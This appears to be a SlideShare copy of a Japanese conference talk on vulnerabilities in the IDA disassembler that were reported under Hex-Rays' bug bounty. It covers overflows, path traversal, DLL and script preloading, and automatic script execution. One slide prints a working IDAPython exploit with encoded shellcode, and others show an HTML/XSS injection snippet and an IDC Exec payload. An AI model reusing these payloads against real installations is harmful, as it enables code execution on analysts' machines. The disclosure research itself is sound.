SlideShare una empresa de Scribd logo
1 de 21
Descargar para leer sin conexión
IDAの脆弱性とBug Bounty	
 
千田雅明
プロフィール	
 
!  セキュリティエンジニア
!  リバースエンジニアリングが趣味
!  sutegoma2として様々なCTFに参加
IDAとは?	
 
!  高機能逆アセンブラ
!  マルウェアなどを静的解析する際に利用するソフトウェア
!  Hex-raysのBug Bounty Program
!  3000 USDの報奨金
!  IDAとHex-rays Decompilerのリモート攻撃が対象
!  2011年2月頃から開始
!  2014年1月までに11回支払われている
https://www.hex-rays.com/bugbounty.shtml
調査方法	
 
!  IDAで解析
!  IDA Main Program (for windows)
!  Loader Modules
!  Processor Modules
!  Plugins
!  SDK付属のプラグインのソースを読む
!  実行プロセスの動作を監視
!  Sysinternals Tools: Procmon
データの入出力関数の調査
!  Data Read & Copy
!  read, lread, eread, qread, qlread, qfread,
!  memcpy, strcpy, strncpy, qstrncpy, …
!  IDB Database
!  get_long, get_byte, ger_many_bytes,
!  netnode_getblob, netnode_altval, netnode_supval,
!  unpack_dd, unpack_ds, unpack_dw, …
!  Heap Allocation
!  malloc, calloc, realloc
!  qalloc, qcalloc, qrelloc
!  qvecto_reserve
スクリプトやコマンド実行関数の調査	
 
!  IDC Script
!  CompileEx, CompileLineEx
!  str2ea, calcexpr, calcexpr_long, calc_idc_expr,
!  Eval, ExecIDC, Execute File, Execute Line,…
!  コマンド実行
!  call_system
!  system, CrateProcess,…
発見したIDAの脆弱性一覧	
 
!  Heap Overflow => 多数
!  Stack Overflow => 2個
!  DLL, Script Preloading => 多数
!  Path Traversal => 数個
!  IDCスクリプトの自動実行
!  デバッガーの自動実行
!  ※賞金を得ていないものを含む
Integer Overflowの脆弱性	
 
!  問題点
!  ほぼ全てのモジュールが対象
!  Integer Overflowの対策が皆無
!  qcallocなどの関数内でも対策がない
多くのモジュールでBuffer Overflowにより、悪意のある
コードを実行されてしまう可能性があった
void *__cdecl qcalloc(size_t nitems, size_t itemsize) {
void *result; // eax@2
void *v3; // ebx@3
if ( (signed int)(itemsize * nitems) > 0 ) {
v3 = calloc(itemsize * nitems, 1u);
整数符号エラーの脆弱性	
 
!  問題点
!  AIF Loader Moduleが対象
!  セクション名を解析時にStack Buffer Overflowが起こる
Stack Buffer Overflowにより、悪意のあるコードを実行さ
れてしまう可能性があった
Classic Buffer Overflowの脆弱性	
 
!  問題点
!  CLI Processor Moduleが対象
!  バイナリをHexの文字列に変換する処理にStack Buffer
Overflow
!  [TODO]
Classic Buffer Overflowの脆弱性	
 
!  特殊なコードの書き込みが必要
!  /GSでコンパイル済み
!  スタックへ書き込む際にhexに変換される
!  sprintf(“%02X”, buf[i])
!  [TODO]
Classic Buffer Overflowの脆弱性	
 
from idaapi import *
from struct import *
a = 0x5874768A-0x24
b = 0x5874764A-0x14
shellcode="htIIGX5tIIGHWPPPSRPPafhExfXf5YrfPDfhS3DTY09fhpzfXf5rRfP
DTY01fRDfhpQDTY09fh3NfXf50rfPfharfXf5dsfPDTY09hBzPKX5ceLJPDfhptDfh
9tDTY01fh6OfXf5jAfPDTY09hinEufhKWDfhkdfXf5WcfPfhnLfXf5g2fPDTY09fhg
RDTY01fhQBfhdtfXf5QXfPDfhlHDTY09fhaefXf57jfPDfh5PfXf5lVfPDTY09h7Yq
oX5RFUnPDfhjLDfhttDTY09fh8wfXf5PvfPDTY09h3YIXX54FiYPDfhatDfhgtDTY0
1fh7xDfh8pfXf5dofPfhitDTY09fhlzfXf53FfPfhYtDTY09fhGSfXf59KfPfhWtDT
Y01fhG0DfhRtTYf19fh3ZfXf55VfPDfhnvDfh5tDTY01fh6tfXf5FxfPDfhRvDfhJt
DTY09fhr0fhCtDTY01hJRVdDfhlKfXf5MRfPDTY09fhUvDTY09fhmwDfhB4fXf5xhf
PhdohchshinfhUifXf5C5fPDhehwshhystfhYjfXf5I6fPDhhm32hcalchexehfhTH
fXf54ffPDfhRhfhKifXf5YDfPDTY09fhU1DRVWRTFfVNfhjsfXf5ErfPVUafhrWfYf
1Lo9f1To9TXLLLrH"
payload=""
payload+=("1"*8)+(pack("II",a,b)*(9334/8-1))+("x55"*6)
payload+=shellcode
payload+=("1"*((len(shellcode)&4)+10-(len(shellcode)%4)))+
(pack("II",a,b)*(16000/8))
node_id=netnode("$ cli").altval(0x0C000014,'o')
Path Traversalの脆弱性	
 
!  問題点
!  tilファイル内に含まれるファイル名をそのまま結合していた
[TODO]
HTML Injectionの脆弱性	
 
!  問題点
!  解析結果をHTMLで保存した際にHTML Injection可能
!  get_root_filename関数で得られる実行ファイル名をエスケー
プしていなかった
作成されたHTMLファイルを開いた場合に、XSSの可能性
があった
from idaapi import *
netnode("RootNode").set("</title><scritp>alert('XSS');</script>")
save_database()
fp = ecreateT("report.html")
gen_file(OFILE_LST, fp, 0, 0, GENFLG_GENHTML)
eclose(fp)
Preloadingの脆弱性	
 
!  問題点
!  読み込んだIDBファイルと同じディレクトリから、DLL, IDC
Script, Python Scriptをロードしてしまう
!  ida.idc, userload.idc
!  windbg.exe, dbghelp.dll, dbgeng.dll, …
!  idautils.py, idc.py, idaapi.py, …
意図していないファイルを読み込んでしまい、悪意のある
コードが実行される可能性があった
IDC Scirpt自動実行の脆弱性	
 
!  問題点
!  str2ea関数内で暗黙的にIDC Scriptを実行
!  str2ea関数は各種イベント時に利用されている
!  デバッガの実行時
!  Hintの表示時
IDBファイルをロード時に悪意のあるIDC
Scriptを実行される可能性があった	
str2ea	
	
calcexpr_lon
g	
	
calc_idc_expr	
	
CompileLine
Ex	
	
Run
str2eaを利用した攻撃	
 
!  IDAのHint表示の動作
!  1. カーソル下の行の文字列を得る
!  2. extract_nameに渡す
!  3. str2ea関数に渡す
!  extract_name関数
!  ida.cfg内のNameCharsに一致する文字列を返す
!  NameChars
!  .net Processor Moduleの場合に”()”などの制御文字が入る
関数呼び出しを成立させる文字列がstr2ea関数に渡る
str2ea(“Exec(char(0x63)+char(0x61)+char(0x6C)+char0x63)”)
Debugger自動実行の脆弱性	
 
!  問題点
!  デバッガを自動起動
!  メモリダンプから作ったIDBファイルをロード時
!  デバッガイベントを自動評価
!  各種Event Condition
!  Watch PointView
IDBファイルをロード時に悪意のあるIDC Scriptが実行さ
れる可能性があった
Demonstration
まとめ	
 
!  見つけやすい脆弱性が多数残っていた

Más contenido relacionado

La actualidad más candente

社内向けTech Talk資料~Fluentdの基本紹介~
社内向けTech Talk資料~Fluentdの基本紹介~ 社内向けTech Talk資料~Fluentdの基本紹介~
社内向けTech Talk資料~Fluentdの基本紹介~ Daisuke Ikeda
 
Webフレームワークを作ってる話 #osakapy
Webフレームワークを作ってる話 #osakapyWebフレームワークを作ってる話 #osakapy
Webフレームワークを作ってる話 #osakapyMasashi Shibata
 
最近のフロントエンドツールの紹介
最近のフロントエンドツールの紹介最近のフロントエンドツールの紹介
最近のフロントエンドツールの紹介Ryo Iinuma
 
Serfが面白いと俺の中で話題にwwwwww 【改訂版】
Serfが面白いと俺の中で話題にwwwwww 【改訂版】Serfが面白いと俺の中で話題にwwwwww 【改訂版】
Serfが面白いと俺の中で話題にwwwwww 【改訂版】Masahito Zembutsu
 
ng-japan 2015 TypeScript+AngularJS 1.3
ng-japan 2015 TypeScript+AngularJS 1.3ng-japan 2015 TypeScript+AngularJS 1.3
ng-japan 2015 TypeScript+AngularJS 1.3Masahiro Wakame
 
Kink: プロトタイプベースの俺々 JVM 言語
Kink: プロトタイプベースの俺々 JVM 言語Kink: プロトタイプベースの俺々 JVM 言語
Kink: プロトタイプベースの俺々 JVM 言語Taku Miyakawa
 
Serf / Consul 入門 ~仕事を楽しくしよう~
Serf / Consul 入門 ~仕事を楽しくしよう~Serf / Consul 入門 ~仕事を楽しくしよう~
Serf / Consul 入門 ~仕事を楽しくしよう~Masahito Zembutsu
 
Groovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみようGroovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみようAkira Shimosako
 

La actualidad más candente (9)

社内向けTech Talk資料~Fluentdの基本紹介~
社内向けTech Talk資料~Fluentdの基本紹介~ 社内向けTech Talk資料~Fluentdの基本紹介~
社内向けTech Talk資料~Fluentdの基本紹介~
 
Webフレームワークを作ってる話 #osakapy
Webフレームワークを作ってる話 #osakapyWebフレームワークを作ってる話 #osakapy
Webフレームワークを作ってる話 #osakapy
 
最近のフロントエンドツールの紹介
最近のフロントエンドツールの紹介最近のフロントエンドツールの紹介
最近のフロントエンドツールの紹介
 
Serfが面白いと俺の中で話題にwwwwww 【改訂版】
Serfが面白いと俺の中で話題にwwwwww 【改訂版】Serfが面白いと俺の中で話題にwwwwww 【改訂版】
Serfが面白いと俺の中で話題にwwwwww 【改訂版】
 
最速C# 7.x
最速C# 7.x最速C# 7.x
最速C# 7.x
 
ng-japan 2015 TypeScript+AngularJS 1.3
ng-japan 2015 TypeScript+AngularJS 1.3ng-japan 2015 TypeScript+AngularJS 1.3
ng-japan 2015 TypeScript+AngularJS 1.3
 
Kink: プロトタイプベースの俺々 JVM 言語
Kink: プロトタイプベースの俺々 JVM 言語Kink: プロトタイプベースの俺々 JVM 言語
Kink: プロトタイプベースの俺々 JVM 言語
 
Serf / Consul 入門 ~仕事を楽しくしよう~
Serf / Consul 入門 ~仕事を楽しくしよう~Serf / Consul 入門 ~仕事を楽しくしよう~
Serf / Consul 入門 ~仕事を楽しくしよう~
 
Groovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみようGroovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみよう
 

Similar a IDAの脆弱性とBug Bounty by 千田 雅明

Java/Androidセキュアコーディング
Java/AndroidセキュアコーディングJava/Androidセキュアコーディング
Java/AndroidセキュアコーディングMasaki Kubo
 
Ruby向け帳票ソリューション「ThinReports」の開発で知るOSSの威力
Ruby向け帳票ソリューション「ThinReports」の開発で知るOSSの威力Ruby向け帳票ソリューション「ThinReports」の開発で知るOSSの威力
Ruby向け帳票ソリューション「ThinReports」の開発で知るOSSの威力ThinReports
 
Step-Oriented Programming による任意コード実行の可能性
Step-Oriented Programming による任意コード実行の可能性Step-Oriented Programming による任意コード実行の可能性
Step-Oriented Programming による任意コード実行の可能性kozossakai
 
Step-Oriented Programming による任意コード実行の可能性 by 坂井 弘亮
Step-Oriented Programming による任意コード実行の可能性 by 坂井 弘亮Step-Oriented Programming による任意コード実行の可能性 by 坂井 弘亮
Step-Oriented Programming による任意コード実行の可能性 by 坂井 弘亮CODE BLUE
 
Build Node.js-WASM/WASI Tiny compiler with Node.js
Build Node.js-WASM/WASI Tiny compiler with Node.jsBuild Node.js-WASM/WASI Tiny compiler with Node.js
Build Node.js-WASM/WASI Tiny compiler with Node.jsmganeko
 
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011Hiroh Satoh
 
Play framework 2.0のおすすめと1.2からのアップグレード
Play framework 2.0のおすすめと1.2からのアップグレードPlay framework 2.0のおすすめと1.2からのアップグレード
Play framework 2.0のおすすめと1.2からのアップグレードKazuhiro Hara
 
Dalvikバイトコードリファレンスの読み方 改訂版
Dalvikバイトコードリファレンスの読み方 改訂版Dalvikバイトコードリファレンスの読み方 改訂版
Dalvikバイトコードリファレンスの読み方 改訂版Takuya Matsunaga
 
分割と整合性と戦う
分割と整合性と戦う分割と整合性と戦う
分割と整合性と戦うYugo Shimizu
 
クラウド環境向けZabbixカスタマイズ紹介(第5回Zabbix勉強会)
クラウド環境向けZabbixカスタマイズ紹介(第5回Zabbix勉強会)クラウド環境向けZabbixカスタマイズ紹介(第5回Zabbix勉強会)
クラウド環境向けZabbixカスタマイズ紹介(第5回Zabbix勉強会)Daisuke Ikeda
 
【学習メモ#1st】12ステップで作る組込みOS自作入門
【学習メモ#1st】12ステップで作る組込みOS自作入門【学習メモ#1st】12ステップで作る組込みOS自作入門
【学習メモ#1st】12ステップで作る組込みOS自作入門sandai
 
JAWS DAYS 2018 | IoT時代におけるデバイスのファームウェアとクラウドのいい関係
JAWS DAYS 2018 | IoT時代におけるデバイスのファームウェアとクラウドのいい関係JAWS DAYS 2018 | IoT時代におけるデバイスのファームウェアとクラウドのいい関係
JAWS DAYS 2018 | IoT時代におけるデバイスのファームウェアとクラウドのいい関係SORACOM,INC
 
Statically detecting vulnerability under memory pressure using exhaustive search
Statically detecting vulnerability under memory pressure usingexhaustive searchStatically detecting vulnerability under memory pressure usingexhaustive search
Statically detecting vulnerability under memory pressure using exhaustive searchRuo Ando
 

Similar a IDAの脆弱性とBug Bounty by 千田 雅明 (20)

Java/Androidセキュアコーディング
Java/AndroidセキュアコーディングJava/Androidセキュアコーディング
Java/Androidセキュアコーディング
 
SocketStream入門
SocketStream入門SocketStream入門
SocketStream入門
 
Ruby向け帳票ソリューション「ThinReports」の開発で知るOSSの威力
Ruby向け帳票ソリューション「ThinReports」の開発で知るOSSの威力Ruby向け帳票ソリューション「ThinReports」の開発で知るOSSの威力
Ruby向け帳票ソリューション「ThinReports」の開発で知るOSSの威力
 
Step-Oriented Programming による任意コード実行の可能性
Step-Oriented Programming による任意コード実行の可能性Step-Oriented Programming による任意コード実行の可能性
Step-Oriented Programming による任意コード実行の可能性
 
Step-Oriented Programming による任意コード実行の可能性 by 坂井 弘亮
Step-Oriented Programming による任意コード実行の可能性 by 坂井 弘亮Step-Oriented Programming による任意コード実行の可能性 by 坂井 弘亮
Step-Oriented Programming による任意コード実行の可能性 by 坂井 弘亮
 
Build Node.js-WASM/WASI Tiny compiler with Node.js
Build Node.js-WASM/WASI Tiny compiler with Node.jsBuild Node.js-WASM/WASI Tiny compiler with Node.js
Build Node.js-WASM/WASI Tiny compiler with Node.js
 
BBBBB
BBBBBBBBBB
BBBBB
 
1MB
1MB1MB
1MB
 
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
 
Play framework 2.0のおすすめと1.2からのアップグレード
Play framework 2.0のおすすめと1.2からのアップグレードPlay framework 2.0のおすすめと1.2からのアップグレード
Play framework 2.0のおすすめと1.2からのアップグレード
 
HTML5&API総まくり
HTML5&API総まくりHTML5&API総まくり
HTML5&API総まくり
 
Dalvikバイトコードリファレンスの読み方 改訂版
Dalvikバイトコードリファレンスの読み方 改訂版Dalvikバイトコードリファレンスの読み方 改訂版
Dalvikバイトコードリファレンスの読み方 改訂版
 
分割と整合性と戦う
分割と整合性と戦う分割と整合性と戦う
分割と整合性と戦う
 
クラウド環境向けZabbixカスタマイズ紹介(第5回Zabbix勉強会)
クラウド環境向けZabbixカスタマイズ紹介(第5回Zabbix勉強会)クラウド環境向けZabbixカスタマイズ紹介(第5回Zabbix勉強会)
クラウド環境向けZabbixカスタマイズ紹介(第5回Zabbix勉強会)
 
【学習メモ#1st】12ステップで作る組込みOS自作入門
【学習メモ#1st】12ステップで作る組込みOS自作入門【学習メモ#1st】12ステップで作る組込みOS自作入門
【学習メモ#1st】12ステップで作る組込みOS自作入門
 
ゆるかわPhp
ゆるかわPhpゆるかわPhp
ゆるかわPhp
 
HTML5最新動向
HTML5最新動向HTML5最新動向
HTML5最新動向
 
JAWS DAYS 2018 | IoT時代におけるデバイスのファームウェアとクラウドのいい関係
JAWS DAYS 2018 | IoT時代におけるデバイスのファームウェアとクラウドのいい関係JAWS DAYS 2018 | IoT時代におけるデバイスのファームウェアとクラウドのいい関係
JAWS DAYS 2018 | IoT時代におけるデバイスのファームウェアとクラウドのいい関係
 
serverless
serverlessserverless
serverless
 
Statically detecting vulnerability under memory pressure using exhaustive search
Statically detecting vulnerability under memory pressure usingexhaustive searchStatically detecting vulnerability under memory pressure usingexhaustive search
Statically detecting vulnerability under memory pressure using exhaustive search
 

Más de CODE BLUE

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...CODE BLUE
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten NohlCODE BLUE
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo PupilloCODE BLUE
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫CODE BLUE
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...CODE BLUE
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka CODE BLUE
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...CODE BLUE
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...CODE BLUE
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...CODE BLUE
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...CODE BLUE
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也CODE BLUE
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...CODE BLUE
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...CODE BLUE
 

Más de CODE BLUE (20)

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
 

Último

スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
